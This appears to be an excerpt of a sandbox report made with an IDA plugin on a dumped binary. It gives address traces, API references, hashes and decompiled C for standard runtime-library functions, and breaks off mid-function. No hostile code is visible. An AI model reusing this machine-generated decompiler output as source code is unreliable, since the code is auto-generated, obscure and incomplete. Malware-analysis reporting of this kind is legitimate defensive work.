0x00408be7
0x00408be9
0x00408beb
0x00408bf4
0x00408bf6
0x00408bf8
0x00408bfb
0x00408bfb
0x00408bfe
0x00408c04
0x00408c13
0x00408c15
0x00408c27
0x00408c27
0x00408c17
0x00408c18
0x00408c1d
0x00408c20
0x00408c23
0x00408c23
0x00000000
0x00408c06
0x00408c06
0x00408c06
0x00408c09
0x00408c0b
0x00408cf2
0x00408cf2
0x00000000
0x00408c11
0x00000000
0x00408c11
0x00408c0b
0x00408bed
0x00408bed
0x00000000
0x00408bed
0x00408bba
0x00408bba
0x00408bbc
0x00408bc1
0x00408bc1
0x00408bc4
0x00408bc5
0x00408bca
0x00408bcd
0x00408bcf
0x00408cf7
0x00408cf7
0x00408cfc
0x00408cfd
0x00408cfe
0x00408cff
0x00408d00
0x00408d01
0x00408d03
0x00408d06
0x00408d07
0x00408d09
0x00408d10
0x00408d11
0x00408d14
0x00408d19
0x00408d1c
0x00408d1d
0x00408d1f
0x00408e4c
0x00000000
0x00408d25
0x00408d25
0x00408d28
0x00408d2d
0x00408d30
0x00408d33
0x00408d36
0x00408d38
0x00408d65
0x00408d67
0x00408d69
0x00408d6b
0x00408d74
0x00408d76
0x00408d78
0x00408d7b
0x00408d7b
0x00408d7e
0x00408d84
0x00408d93
0x00408d95
0x00408da7
0x00408da7
0x00408d97
0x00408d98
0x00408d9d
0x00408da0
0x00408da3
0x00408da3
0x00000000
0x00408d86
0x00408d86
0x00408d86
0x00408d89
0x00408d8b
0x00408e51
0x00408e51
0x00000000
0x00408d91
0x00000000
0x00408d91
0x00408d8b
0x00408d6d
0x00408d6d
0x00000000
0x00408d6d
0x00408d3a
0x00408d3a
0x00408d3c
0x00408d41
0x00408d41
0x00408d44
0x00408d45
0x00408d4a
0x00408d4d
0x00408d4f
0x00408e56
0x00408e56
0x00408e5b
0x00408e5c
0x00408e5d
0x00408e5e
0x00408e5f
0x00408e60
0x00408e62
0x00408e64
0x004071d0
0x004071d1
0x004071d3
0x004071d7
0x0040723d
0x0040723e
0x004071d9
0x004071dc
0x004071dd
0x004071de
0x004071eb
0x00407201
0x0040720a
0x0040721e
0x0040721e
0x00407220
0x00407228
0x0040722e
0x00407235
0x00000000
0x0040720c
0x0040720c
0x0040720f
0x00407212
0x0040721a
0x0040723f
0x00407244
0x00407245
0x00407246
0x00407247
0x00407248
0x00407249
0x0040724a
0x0040724b
0x0040724c
0x0040724d
0x0040724e
0x0040724f
0x00407250
0x00407253
0x00407257
0x00407258
0x0040725a
0x00407260
0x00407262
0x00407265
0x0040726a
0x00407271
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x0040721a
0x0040720a
0x00408e6a
0x00408e6a
0x00408e6a
0x00408d55
0x00408d55
0x00408d58
0x00408d5b
0x00408d5e
0x00408da9
0x00408dac
0x00408db3
0x00408db9
0x00408dbc
0x00408dc1
0x00408dc4
0x00408dc8
0x00408dcb
0x00408dcc
0x00408e23
0x00408e24
0x00408e25
0x00408e31
0x00408e3c
0x00408e41
0x00408e49
0x00408dce
0x00408dce
0x00408dd0
0x00408dd1
0x00408dd2
0x00408de0
0x00408de8
0x00408dee
0x00408def
0x00408df2
0x00408df8
0x00408e0c
0x00408e0c
0x00408e0e
0x00408e16
0x00408e20
0x00408dfa
0x00408dfa
0x00408dfd
0x00408e00
0x00408e02
0x00408e05
0x00408e08
0x00000000
0x00408e0a
0x00408e0a
0x00000000
0x00408e0a
0x00408e08
0x00408df8
0x00408dcc
0x00408d4f
0x00408d38
0x00408bd5
0x00408bd5
0x00408bd8
0x00408bdb
0x00408bde
0x00408c29
0x00408c2c
0x00408c33
0x00408c36
0x00408c3b
0x00408c3e
0x00408c42
0x00408c45
0x00408c4d
0x00408c50
0x00408c54
0x00408c57
0x00408cb9
0x00408cba
0x00408cbb
0x00408cc7
0x00408cd2
0x00408cd8
0x00408ce0
0x00408cea
0x00408c59
0x00408c59
0x00408c5b
0x00408c5c
0x00408c5d
0x00408c6b
0x00408c7c
0x00408c84
0x00408c87
0x00408c88
0x00408c8e
0x00408ca2
0x00408ca2
0x00408ca4
0x00408cac
0x00408cb6
0x00408c90
0x00408c90
0x00408c93
0x00408c96
0x00408c98
0x00408c9b
0x00408c9e
0x00000000
0x00408ca0
0x00408ca0
0x00000000
0x00408ca0
0x00408c9e
0x00408c8e
0x00408c57
0x00408bcf
0x00408bb8
0x00408a95
0x00408a95
0x00408a98
0x00408a9b
0x00408a9e
0x00408ae9
0x00408ae9
0x00408af0
0x00408af3
0x00408af6
0x00408af7
0x00408b48
0x00408b49
0x00408b4a
0x00408b4f
0x00408b5a
0x00408b5d
0x00408b62
0x00408b6a
0x00408af9
0x00408af9
0x00408afb
0x00408afc
0x00408afd
0x00408b02
0x00408b05
0x00408b0e
0x00408b0f
0x00408b12
0x00408b17
0x00408b1d
0x00408b31
0x00408b31
0x00408b33
0x00408b3b
0x00408b45
0x00408b1f
0x00408b1f
0x00408b22
0x00408b25
0x00408b27
0x00408b2a
0x00408b2d
0x00000000
0x00408b2f
0x00408b2f
0x00000000
0x00408b2f
0x00408b2d
0x00408b1d
0x00408af7
0x00408a8f
0x00408a78
0x00408a03
0x00408a03
0x00000000
0x00408a03
0x00408a01
0x004089f1
0x00000000
0x00408a0f
0x00408a0f
0x00408a16
0x00408a1d
0x00408a20
0x00408a23
0x00408a23
0x00000000
0x004089e0
0x00408980
0x00408980
0x00408983
0x00408987
0x0040898b
0x00408990
0x00408997
0x0040899a
0x00000000
0x0040899a
0x00408968
0x00408968
0x00000000
0x00408968
0x00408957
0x0040895d
0x00000000
0x0040895d
0x00408955
0x0040894b
0x0040893e
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004088D6
std::_Lockit::_Lockit.LIBCPMT ref: 004088F9
std::_Lockit::~_Lockit.LIBCPMT ref: 00408919
std::_Facet_Register.LIBCPMT ref: 0040898B
std::_Lockit::~_Lockit.LIBCPMT ref: 004089A3
Concurrency::cancel_current_task.LIBCPMT ref: 004089C6

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 6ad374c1b7a56b3c7ab2eed5f2fdba7a828b2bb9b1b450fb738bde060c8403dc
Instruction ID: 10bc4d083f0d6e5c5aa0492e0be468e715e6825d79f5f8a935fa4fa3640798b7
Opcode Fuzzy Hash: 6ad374c1b7a56b3c7ab2eed5f2fdba7a828b2bb9b1b450fb738bde060c8403dc
Instruction Fuzzy Hash: 7041AEB5900219CFCB11DF54E941BAEB7B0FB44724F14026EE885B7391DB38AA44CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004169FC Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E004169FC(void* __ecx) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x443070 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00417C03(_t13,  *0x443070);
					_t14 = _t23;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							if(E00417C3E(_t14,  *0x443070, 0xffffffff) != 0) {
								_push(0x28);
								_t27 = E0041823E();
								_t18 = 1;
								if(_t27 == 0) {
									L8:
									_t11 = 0;
									E00417C3E(_t18,  *0x443070, 0);
								} else {
									_t8 = E00417C3E(_t18,  *0x443070, _t27);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t27;
										_t27 = 0;
									} else {
										goto L8;
									}
								}
								E0041AC1E(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x004169fc
0x00416a03
0x00416a16
0x00416a1d
0x00416a1f
0x00416a23
0x00416a3c
0x00416a3c
0x00416a25
0x00416a27
0x00416a3a
0x00416a41
0x00416a4a
0x00416a4d
0x00416a50
0x00416a64
0x00416a64
0x00416a6d
0x00416a52
0x00416a59
0x00416a5f
0x00416a62
0x00416a76
0x00416a78
0x00000000
0x00000000
0x00000000
0x00416a62
0x00416a7b
0x00000000
0x00000000
0x00000000
0x00416a3a
0x00416a27
0x00416a83
0x00416a8d
0x00416a05
0x00416a07
0x00416a07

APIs

GetLastError.KERNEL32(?,?,004169F3,0041485F,00413F7C), ref: 00416A0A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00416A18
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00416A31
SetLastError.KERNEL32(00000000,004169F3,0041485F,00413F7C), ref: 00416A83

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 9ec1a021ddd549f0be519d21b65f3f0f9f2e13021d0e121cb48fd4b589579ae6
Instruction ID: a981a94b709aa5c5a0bfd01837c0d8f69c1e546bffa9a62c7f10e9c9c22eb78a
Opcode Fuzzy Hash: 9ec1a021ddd549f0be519d21b65f3f0f9f2e13021d0e121cb48fd4b589579ae6
Instruction Fuzzy Hash: 1C01D43620D2116EA6242BB5BE856E726A4DF037BA331833FF510611E5FF198D8256CC

Uniqueness

Uniqueness Score: -1.00%

Function 00416B13 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E00416B13(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x441b50);
				E00413FF0(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E00414BF0(_t107, E004147DF(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E00414BF0(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x4447a4; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x4331a4();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E0041D1C9(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x441b70);
									E00413FF0(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E00416B13(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00417822(_t103, _t108[0x18], E004147DF( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00417832(_t103, _t108[0x18], E004147DF( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E004147DF();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x00416b13
0x00416b15
0x00416b1a
0x00416b1f
0x00416b21
0x00416b24
0x00416b29
0x00416c39
0x00416c39
0x00416c39
0x00000000
0x00416b38
0x00416b38
0x00416b3d
0x00416b47
0x00416b49
0x00416b4e
0x00416b53
0x00416b53
0x00416b55
0x00416b58
0x00416b5d
0x00416b7f
0x00416b7f
0x00416b82
0x00416b85
0x00416ba3
0x00416ba6
0x00416be5
0x00416be8
0x00416beb
0x00416c10
0x00416c12
0x00000000
0x00416c14
0x00416c14
0x00416c16
0x00000000
0x00416c18
0x00416c18
0x00416c1d
0x00416c21
0x00416c21
0x00416c22
0x00000000
0x00416c22
0x00416c16
0x00416bed
0x00416bed
0x00416bef
0x00000000
0x00416bf1
0x00416bf1
0x00416bf3
0x00000000
0x00416bf5
0x00416c06
0x00000000
0x00416c0b
0x00416bf3
0x00416bef
0x00416ba8
0x00416ba8
0x00416bac
0x00000000
0x00416bb2
0x00416bb2
0x00416bb4
0x00000000
0x00416bba
0x00416bc1
0x00416bc9
0x00416bcd
0x00416bcf
0x00416bd2
0x00416bd7
0x00416bd8
0x00000000
0x00416bd8
0x00416bd2
0x00000000
0x00416bcd
0x00416bb4
0x00416bac
0x00416b87
0x00416b87
0x00000000
0x00416b87
0x00416b64
0x00416b64
0x00416b69
0x00416b6e
0x00000000
0x00416b70
0x00416b72
0x00416b7b
0x00416b8a
0x00416b8c
0x00416c4b
0x00416c4b
0x00416c50
0x00416c51
0x00416c53
0x00416c58
0x00416c5d
0x00416c60
0x00416c63
0x00416c66
0x00416c6f
0x00416c6f
0x00416c68
0x00416c68
0x00416c68
0x00416c72
0x00416c76
0x00416c79
0x00416c7a
0x00416c7b
0x00416c7c
0x00416c7f
0x00416c88
0x00416c88
0x00416c8b
0x00416cc1
0x00416c8d
0x00416c8d
0x00416c8d
0x00416c90
0x00416ca7
0x00416ca7
0x00416c90
0x00416cc6
0x00416cd0
0x00416cdc
0x00416b9a
0x00416b9a
0x00416b9f
0x00416ba0
0x00416bda
0x00416be1
0x00416c25
0x00416c25
0x00416c2c
0x00416c3b
0x00416c3e
0x00416c4a
0x00416c4a
0x00416b8c
0x00416b6e
0x00000000
0x00000000
0x00000000
0x00416b3d

APIs

___AdjustPointer.LIBCMT ref: 00416BDA
___AdjustPointer.LIBCMT ref: 00416BFD
___AdjustPointer.LIBCMT ref: 00416C99

Strings

0'@, xrefs: 00416B72

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: AdjustPointer
String ID: 0'@
API String ID: 1740715915-1999884151
Opcode ID: bc92206df1d550dbcf48c1ae3c435f5c764ffe0b3c4c8167624a7138c2748150
Instruction ID: 349f1c95a76813cf8c56dd8e4b04975026008980cbef37f8812b81d4e85a4b47
Opcode Fuzzy Hash: bc92206df1d550dbcf48c1ae3c435f5c764ffe0b3c4c8167624a7138c2748150
Instruction Fuzzy Hash: FA510172604212AFDB288F15D941BEA77A4EF10304F12452FEC8687290F739ECC1CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00403B40 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00403B40(void* __ebx, intOrPtr __edx, void* __edi) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v84;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v116;
				intOrPtr _v140;
				char _v192;
				char _v196;
				char _v200;
				intOrPtr* _v204;
				char _v208;
				void* __esi;
				void* __ebp;
				signed int _t85;
				signed int _t86;
				long _t103;
				void* _t116;
				void* _t124;
				void* _t130;
				intOrPtr* _t133;
				void* _t140;
				intOrPtr* _t153;
				intOrPtr* _t155;
				void* _t161;
				void* _t162;
				signed int _t163;
				void* _t164;
				void* _t166;

				_t158 = __edi;
				_t157 = __edx;
				_t135 = __ebx;
				_push(0xffffffff);
				_push(0x4316e0);
				_push( *[fs:0x0]);
				_t85 =  *0x443048; // 0x7239e5fc
				_t86 = _t85 ^ _t163;
				_v20 = _t86;
				_push(_t86);
				 *[fs:0x0] =  &_v16;
				_v200 = 0;
				E00415180(__edi,  &_v196, 0, 0xb0);
				_v196 = 0x43ea74;
				_t161 =  >=  ?  *0x443aa4 : 0x443aa4;
				_v84 = 0;
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				_t166 = _t164 - 0xc0 + 8;
				_v8 = 0;
				_v200 = 1;
				_v92 = 0x43ea98;
				_v96 = 0x60;
				E00407F70( &_v92, _t157,  *0x443ab8 - 0x10,  &_v192);
				_v8 = 2;
				_t17 =  &_v196; // 0x43ea74
				 *((intOrPtr*)(_t163 +  *((intOrPtr*)( *_t17 + 4)) - 0xc0)) = 0x43ea70;
				_t21 =  &_v196; // 0x43ea70
				_t23 =  *((intOrPtr*)( *_t21 + 4)) - 0x68; // -102
				 *((intOrPtr*)(_t163 +  *((intOrPtr*)( *_t21 + 4)) - 0xc4)) = _t23;
				E00407040( &_v192,  *0x443ab8 - 0x10);
				_v8 = 3;
				if(_v116 != 0) {
					L5:
					_t39 =  &_v196; // 0x43ea70
					_t40 =  &_v196; // 0x43ea70
					_t140 = _t40 +  *((intOrPtr*)( *_t39 + 4));
					 *(_t140 + 0x38) = 0x00000002 + ( *(_t140 + 0x38) == 0x00000000) * 0x00000004 |  *(_t140 + 0xc);
					E00403A00(_t135, _t140, 0x00000002 + ( *(_t140 + 0x38) == 0x00000000) * 0x00000004 |  *(_t140 + 0xc), 0);
					L6:
					_v8 = 5;
					_t103 = GetCurrentProcessId();
					_t49 =  &_v196; // 0x43ea70
					E004059F0(_t49, _t157, _t103);
					if(E00406F50( &_v192) == 0) {
						_t51 =  &_v196; // 0x43ea70
						_t52 =  &_v196; // 0x43ea70
						E00403A00(_t135, _t52 +  *((intOrPtr*)( *_t51 + 4)), 0x00000002 + (0 |  *((intOrPtr*)(_t52 +  *((intOrPtr*)( *_t51 + 4)) + 0x38)) == 0x00000000) * 0x00000004 |  *(_t52 +  *((intOrPtr*)( *_t51 + 4)) + 0xc), 0);
					}
					_t60 =  &_v196; // 0x43ea70
					 *((intOrPtr*)(_t163 +  *((intOrPtr*)( *_t60 + 4)) - 0xc0)) = 0x43ea70;
					_t64 =  &_v196; // 0x43ea70
					_t66 =  *((intOrPtr*)( *_t64 + 4)) - 0x68; // -99
					 *((intOrPtr*)(_t163 +  *((intOrPtr*)( *_t64 + 4)) - 0xc4)) = _t66;
					E00405690( &_v192);
					_t70 =  &_v196; // 0x43ea70
					 *((intOrPtr*)(_t163 +  *((intOrPtr*)( *_t70 + 4)) - 0xc0)) = 0x43ea98;
					_t75 = _v196 + 4; // 0x74636576
					_t76 =  *_t75 - 8; // 0x7463656e
					 *((intOrPtr*)(_t163 +  *_t75 - 0xc4)) = _t76;
					_v8 = 6;
					_v92 = 0x43ea28;
					_t116 = E004128AD( &_v92);
					 *[fs:0x0] = _v16;
					_pop(_t162);
					return E0041361E(_t116, _t135, _v20 ^ _t163, _t157, _t158, _t162);
				}
				_push(0x40);
				_push(2);
				_t124 = E00412A0C(_t157, 0x443aa4);
				_t166 = _t166 + 0xc;
				if(_t124 == 0) {
					goto L5;
				} else {
					E00406E40( &_v192, _t124, 1);
					_t153 =  *((intOrPtr*)(_v140 + 4));
					_v204 = _t153;
					 *((intOrPtr*)( *_t153 + 4))();
					_v8 = 4;
					_push( &_v208);
					_t130 = E00408400(__ebx, _t157, _t158, _t161);
					_t166 = _t166 + 4;
					E00406CE0( &_v192, _t130);
					_t155 = _v204;
					if(_t155 != 0) {
						_t133 =  *((intOrPtr*)( *_t155 + 8))();
						if(_t133 != 0) {
							_t157 =  *_t133;
							 *((intOrPtr*)( *_t133))(1);
						}
					}
					goto L6;
				}
			}

0x00403b40
0x00403b40
0x00403b40
0x00403b43
0x00403b45
0x00403b50
0x00403b57
0x00403b5c
0x00403b5e
0x00403b62
0x00403b66
0x00403b77
0x00403b84
0x00403b95
0x00403b9f
0x00403ba6
0x00403bad
0x00403bb4
0x00403bbb
0x00403bc2
0x00403bc5
0x00403bd2
0x00403bdf
0x00403be6
0x00403bee
0x00403bf3
0x00403bfa
0x00403c03
0x00403c0e
0x00403c17
0x00403c1a
0x00403c27
0x00403c2c
0x00403c34
0x00403ca5
0x00403ca5
0x00403cab
0x00403cb3
0x00403cc5
0x00403cc9
0x00403cce
0x00403cce
0x00403cd5
0x00403cdc
0x00403ce2
0x00403cf4
0x00403cf6
0x00403cfc
0x00403d1a
0x00403d1a
0x00403d1f
0x00403d28
0x00403d33
0x00403d3c
0x00403d3f
0x00403d4c
0x00403d51
0x00403d5a
0x00403d6b
0x00403d6e
0x00403d71
0x00403d7b
0x00403d83
0x00403d8a
0x00403d95
0x00403d9d
0x00403dab
0x00403dab
0x00403c36
0x00403c38
0x00403c3b
0x00403c40
0x00403c45
0x00000000
0x00403c47
0x00403c50
0x00403c5b
0x00403c5e
0x00403c66
0x00403c6f
0x00403c73
0x00403c74
0x00403c79
0x00403c83
0x00403c88
0x00403c90
0x00403c94
0x00403c99
0x00403c9b
0x00403ca1
0x00403ca1
0x00403c99
0x00000000
0x00403c90

APIs

Part of subcall function 00407F70: std::locale::_Init.LIBCPMT ref: 00408002

Part of subcall function 00407040: std::locale::_Init.LIBCPMT ref: 00407092

GetCurrentProcessId.KERNEL32(00000000,?,7239E5FC), ref: 00403CD5
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00403D8A

Part of subcall function 00408400: std::_Lockit::_Lockit.LIBCPMT ref: 00408436
Part of subcall function 00408400: std::_Lockit::_Lockit.LIBCPMT ref: 00408458
Part of subcall function 00408400: std::_Lockit::~_Lockit.LIBCPMT ref: 00408478
Part of subcall function 00408400: std::_Lockit::~_Lockit.LIBCPMT ref: 0040849F

Strings

(C, xrefs: 00403D78, 00403D82
`, xrefs: 00403BE6
tC, xrefs: 00403BFA, 00403C0E, 00403CA5, 00403CAB, 00403CDC, 00403D1F, 00403D33, 00403D51, 00403CF6, 00403CFC

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Lockitstd::_$InitLockit::_Lockit::~_std::locale::_$CurrentIos_base_dtorProcessstd::ios_base::_
String ID: (C$`$tC
API String ID: 1043075861-338296439
Opcode ID: 276fa40c52f5c62e5dde265c5b1a3fd0a8075afff4ce2ed28c94f6f59bc9857e
Instruction ID: d2221ce5aec08ae90bd4016673533955d953cbb34cf6aa8034e8684be79d6cfe
Opcode Fuzzy Hash: 276fa40c52f5c62e5dde265c5b1a3fd0a8075afff4ce2ed28c94f6f59bc9857e
Instruction Fuzzy Hash: 48612C74A01218DFEB10DF65CD89F9ABBB8FF04308F1445AEE509AB291D779AA44CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00423963 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00423963(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				signed int _t77;
				signed int _t78;
				char _t79;
				char _t80;
				intOrPtr* _t81;
				signed int _t84;
				void* _t85;
				signed int _t87;
				signed int _t90;
				void* _t91;
				void* _t92;
				intOrPtr _t95;
				signed char _t99;
				signed char _t102;
				signed char _t108;
				intOrPtr _t109;
				signed int _t117;
				signed int _t118;
				intOrPtr _t123;
				signed int _t124;
				intOrPtr _t126;
				signed int _t127;
				signed int _t130;
				signed int _t131;
				intOrPtr _t137;

				_t77 = E0042087B(_a4);
				_t135 = _t77;
				_v24 = 2;
				_t78 = _t77 >> 6;
				_v36 = _t78;
				_t117 = (_t77 & 0x0000003f) * 0x38;
				_t79 =  *((intOrPtr*)(0x444b30 + _t78 * 4));
				_v32 = _t79;
				_v8 = 0;
				_v28 = _t117;
				_t80 =  *((intOrPtr*)(_t117 + _t79 + 0x29));
				_v20 = _t80;
				if(_t80 != 1) {
					_v24 = 1;
				}
				_t81 = _a4;
				_t118 =  *((intOrPtr*)(_t81 + 8));
				_v16 = _t118;
				if(_t118 != 0) {
					asm("cdq");
					_v12 = _t130;
					asm("cdq");
					_t84 = _v12;
					_v16 =  *_t81 -  *((intOrPtr*)(_t81 + 4)) + _v16;
					_t23 =  &_v32; // 0x423939
					_t123 =  *_t23;
					asm("adc eax, edx");
					_t131 = _v28;
					_v12 = _t84;
					__eflags =  *((char*)(_t131 + _t123 + 0x28));
					_t124 = _v16;
					if( *((char*)(_t131 + _t123 + 0x28)) < 0) {
						_t31 =  &_a24; // 0x423939
						_t85 = E00425445(_t135, 0, 0, 2,  *_t31);
						__eflags = _t85 - _a8;
						if(_t85 != _a8) {
							L13:
							_t87 = E00425445(_t135, _a8, _a12, 0, _a24) & _t131;
							_t131 = _t131 | 0xffffffff;
							__eflags = _t87 - _t131;
							if(_t87 != _t131) {
								__eflags = _v12;
								if(__eflags > 0) {
									L21:
									asm("cdq");
									_v12 =  *((intOrPtr*)(_a4 + 0x18));
									L22:
									_t90 = _v28;
									_t126 =  *((intOrPtr*)(0x444b30 + _v36 * 4));
									__eflags =  *(_t90 + _t126 + 0x28) & 0x00000004;
									if(( *(_t90 + _t126 + 0x28) & 0x00000004) == 0) {
										_t124 = _v12;
										L28:
										_push(_v8);
										_t113 = _v24;
										_push(_v24);
										_push(_t131);
										L29:
										_push(_t124);
										_t91 = E00430EB0();
										_t92 = E00430EB0(_a16, _a20, _t113, _v8);
										asm("sbb edx, edi");
										asm("adc edx, [ebp+0x10]");
										return _t92 - _t91 + _a8;
									}
									_t95 = _v20;
									__eflags = _t95 - 1;
									if(_t95 == 1) {
										L25:
										_push(2);
										_pop(1);
										L26:
										_t127 = _v12;
										L12:
										_t124 = _t127 + 1;
										asm("adc edx, edi");
										goto L28;
									}
									__eflags = _t95 - 2;
									if(_t95 != 2) {
										goto L26;
									}
									goto L25;
								}
								_v12 = 0x200;
								if(__eflags < 0) {
									L18:
									_t99 =  *(_a4 + 0xc) >> 6;
									__eflags = 1 & _t99;
									if((1 & _t99) == 0) {
										goto L21;
									}
									_t102 =  *(_a4 + 0xc) >> 8;
									__eflags = 1 & _t102;
									if((1 & _t102) != 0) {
										goto L21;
									}
									_t131 = 0;
									goto L22;
								}
								__eflags = _v16 - 0x200;
								if(_v16 > 0x200) {
									goto L21;
								}
								goto L18;
							}
							return _t131;
						}
						__eflags = _t131 - _a12;
						if(_t131 != _a12) {
							goto L13;
						}
						_t137 = _a4;
						_t124 = E00423CCD( *((intOrPtr*)(_t137 + 4)), _v16 +  *((intOrPtr*)(_t137 + 4)), _v20) + _v16;
						asm("adc edx, [ebp-0x8]");
						_t108 =  *(_t137 + 0xc) >> 5;
						__eflags = 1 & _t108;
						if((1 & _t108) == 0) {
							goto L28;
						}
						_t109 = _v20;
						__eflags = _t109 - 1;
						if(_t109 == 1) {
							L11:
